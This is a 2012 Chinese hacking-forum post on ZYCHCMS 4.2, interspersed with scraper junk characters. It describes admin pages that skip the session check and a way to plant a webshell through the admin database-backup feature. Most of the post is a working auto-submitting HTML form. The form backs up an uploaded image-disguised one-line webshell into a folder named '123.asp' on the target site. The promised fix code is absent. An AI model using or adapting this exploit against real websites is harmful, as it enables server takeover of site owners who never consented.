找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2031|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
, g* t4 D' o0 q) q: Y

( R4 k" }5 h8 ^) m3 }$ E/ ^, C* T* {& V+ @

5 w* v3 x( u! F% x$ M, ?7 Y% Q影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
' j+ r3 U: R# R' e0 c' ?& t ①SQL注射漏洞9 @% h0 C4 c6 q# ?. O* H
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
4 T6 M9 G" D" x4 d/ U6 Z) C9 l3 Z 漏洞原因:未过滤
. D4 M# o- }: w* X 漏洞代码:5 F  ~  j& a- d
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。4 I1 c" Q+ v# e7 O- T: Q& Y* I( |
修复方法:在文件开头加入代码
5 }" B" D( g: c; G' j' y % Z, I3 @; U' y' N
6 f% m. X) u/ U6 M% P" V
②后台拿WBSHELL
9 g; ^+ V- d6 ]8 s. `( C4 ^ 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。. P9 m$ A7 C  V2 c0 u
这里在网上找了一个,改了下,将就着用。
* Z# T8 c* z  D4 B8 j& l 以下是代码本地提交代码: }2 i1 S2 K5 e/ `9 e# t" x* a

4 U  f  B# @7 x* E
+ p5 w" O* G! T. Y( J$ [<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
8 o; M0 C3 r' f <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>' u4 K4 v! Q; c+ w
<tr>
2 H/ D& q& {6 x9 f8 u <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
' J3 q# c: w5 L% S </tr>+ K+ H2 u4 i4 ?5 ]1 H3 m
<tr>
; y& W) q4 n! P9 ^/ E! Q, q* a <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
6 _. g+ i# a0 z </span>1 p/ ~. A, T5 U! u) I- S5 Z
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
1 Y/ ]7 j5 d* O& z2 m4 B  h& h <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
7 x& c% x: S% N" O& l  E <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>: X/ E. {* [+ G. t: v- j4 M
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
4 C( l7 L- g/ n& h: {0 i: r <div align=”left”>
5 }& G7 m) ?6 T. l! t <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />& ~  i& a" W8 a$ _4 w( X
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
1 D/ |4 o( `3 g/ G <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />1 w7 l  o& L) n- W9 c" M
</div></td>$ ~, R; h! H% o! n2 X* k# I3 o
</tr>. b4 @7 z8 F' M* L  D. |. w$ ]
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>. r! L4 I6 z. I
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>: d. ?& Y& O+ N
<td class=”td”><div align=”left”>
" P1 S" Q# G/ s4 B <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />6 y8 T, V, f  r4 I
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>' D# K8 z) u! {% W
</tr>
4 O2 Y+ @# J  l6 O% p- P <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
. V7 F  v6 g6 ]/ O! z$ ]6 I0 q4 q <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
4 y- X# l+ f1 _/ M: E2 T( G <td class=”td”><div align=”left”>
# Y5 u, B7 |1 d; O! W <input type=”submit” value=”确定备份” class=”btn”
: W$ e% h- X* t; l8 m( @ </div></td>/ `4 B- O$ h% D" Z/ ?4 X
</tr>4 h1 [- J. l1 U! Q
</table></td></tr></form>
* K" V4 w4 ^& |  L1 X </table>
. k. y3 q: F  m, u/ `3 _9 r4 s% o </td>& C" J8 _: |5 B% o: B
</tr>
* V% x. E2 O) c; i' d </table>
: |3 M4 a2 {" [4 p! e% k) [ <script>
2 V6 X% g5 [6 P% n2 o, | document.all.add.submit();
" S* j- n1 U* W) N7 K- X </script>
) }3 ~9 s: s  x) O; ^! p( S$ {% Y " r0 a* k' x6 g. Q( G9 v
8 I, a$ C9 F2 n4 ~

* v6 Y) I$ E7 ~3 P! ]; ^$ `0 P  C8 v5 K) G9 w. W' C

& v% s- }, a, y: m5 y  |$ U  w! ]+ i9 ]) @! x
5 L+ X1 b" a1 V" |; @3 J2 R" x- h
. y8 E1 V! |* H8 R) z6 W3 \
0 ^3 f4 ?, K* n# f
+ E% g; R. ~, U; {: A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表